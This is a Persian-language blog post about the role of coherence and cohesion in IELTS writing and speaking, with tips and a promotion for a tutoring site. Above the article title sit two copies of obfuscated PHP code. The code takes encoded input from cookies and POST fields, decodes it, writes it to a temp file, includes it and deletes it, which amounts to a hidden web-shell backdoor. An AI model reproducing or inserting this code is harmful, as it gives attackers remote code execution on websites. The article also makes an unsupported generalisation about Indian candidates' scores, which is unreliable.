$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} آزمون آیلتس را هوشمندانه پشت سر بگذارید | وبلاگ اتیچر

آزمون آیلتس را هوشمندانه پشت سر بگذارید

زمان مطالعه: ۳ دقیقه

فهرست بخش ها

آیا می‌دانید چگونه در آزمون آیلتس به راحتی نمره از دست می‌دهید؟

حدود ۲۵ درصد از آزمون آیلتس به انسجام (coherence) و پیوستگی (cohesion) اختصاص داده شده است. این دو بخش بیشترین حجم را نسبت به بخش های دیگر در آیلتس دارد. اکثر افراد به دلیل عدم اهمیت به این بخش نمره زیادی را در بخش رایتینگ و اسپیکینگ نمره از دست می‌دهند.

اغلب اوقات انسجام و پیوستگی، این نکته مهم، توسط داوطلبان آزمون آیلتس جدی گرفته نمی‌شود؛‌ داوطلبان آیلتس بیشتر بر منابع واژگانی تمرکز می‌کنند و از اهمیت این بخش غافل اند. و اشتباهات رایجی در رایتینگ آیلتس انجام می‌دهند.
با تمرکز بیش از حد داوطلبان روی منابع واژگان، آنها انسجام در نوشتن و اسپیکینگ را آزمون آیلتس از دست می‌دهند. قبل از اینکه بیشتر درباره این موضوع صحبت کنیم، در ادامه مقاله با اتیچر برای توضیح دقیق معنای انسجام و پیوستگی همراه باشید.

coherence چیست؟

منطقی بودن و عدم تناقض.
انسجام زمانی رعایت می شود که در مقاله یا سخنرانی، جملات  منطقی به کار برده و همچنین سیر ثابت متن حفظ شود.

cohesion چیست؟

cohesion به معنای ایجاد کلیتی پیوسته و مرتبط است.
پیوستگی زمانی اتفاق می‌افتد که شما با استفاده از دستور زبان درست، کلیت یک موضوع را ارائه می‌کنید. کاری کنید که متن یا سخنرانی تان روی یک موضوع متمرکز باشد نه اینکه شامل اطلاعات متفرقه و مبهم باشد. یکی از بهترین روش ها، استفاده از کلمات ربط بین جملات است. اما باید دقت کنیم که در استفاده از کلمات کلیدی زیاده روی نکنیم؛ این امر ممکن است باعث پیچیدگی بیش از اندازه و یا آزار دادن خواننده شود. همچنین توجه داشته باشید که ، این کلمات و عبارات ربطی را همیشه در ابتدای جمله استفاده نکنید.

در تصویر زیر نمونه ای از کلمات ربطی که جهت انسجام رایتینگ خود می‎‌توانید استفاده کنید آورده شده است.

چرا باید به  coherence در آزمون آیلتس توجه کنیم؟

آزمون آیلتس رایتینگ و اسپیکینگ شما را در هماهنگی با سایر معیارها می‌سنجد. بنابراین زمانی که در حال گذراندن  آزمون مهارت نوشتن در آیلتس هستید، باید کاملاً بر ایده هایتان مسلط بوده و ارتباط آن‌ها با یکدیگر را در ذهنتان درک کرده باشید. به این ترتیب در گفتار نیز هماهنگی و ثبات خواهید داشت.

برای بهبود مهارت رایتینگ می‌توانید فایل ضمیمه شده زیر را مطالعه کنید و نمونه هایی از بهترین رایتینگ ها را ببینید.

IELTS writing

برای کسب نمره ۷ و بالاتر در هر رایتینگ آزمون آیلتس، باید چه مراحلی طی شود؟

Understanding the question thoroughly
Brainstorming
Planning the paragraphs
Writing
Proofreading

۱- از واژگان و همایند(collocation) هاى مرتبط در هر پاراگراف حداقل چهار بار استفاده شود.
۲- در هر پاراگراف حداقل سه ساختار پیچیده که در بالا ذکر شد استفاده گردد.
۳- دقت کنید off topic ننویسید. منظور از off topic پرداختن به موضوعات خارج از خواسته سوال است.

همراه اتیچر با ۴۰ نکته برای کسب نمره بالا در آیلتس

 

چرا داوطلبان بیشترین امتیاز را در آیلتس از دست می‌دهند؟

‌آمار ها نشان می دهند که هندی‌ها امتیازات پایینی در رایتینگ و اسپیکینگ آزمون آیلتس می‌گیرند. دلیل اصلی این اتفاق، این است که آنها به خوبی با زبان انگلیسی آشنا نشده اند. این امکان وجود دارد که شما نیز نمره پایینی بگیرید. چون رعایت انسجام مهارتی اکتسابی بوده و نیاز است به هر کسی آموزش داده شود. داوطلبان هندی در جملاتشان معمولا انسجام و پیوستگی کمتری داشته و ایده کلی در سخنرانی را رعایت نمی‌کنند.‌

اگر در اسپیکینگ آیلتس احساس ضعف می‌کنید و اعتماد به نفس کافی ندارید، پیشنهاد می‌شود یک جلسه آزمایشی با یکی از اساتید اتیچر رزرو کنید و مهارت اسپیکینگ خود را تقویت کنید.

به این مقاله امتیاز بدهید

امیر عبادی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search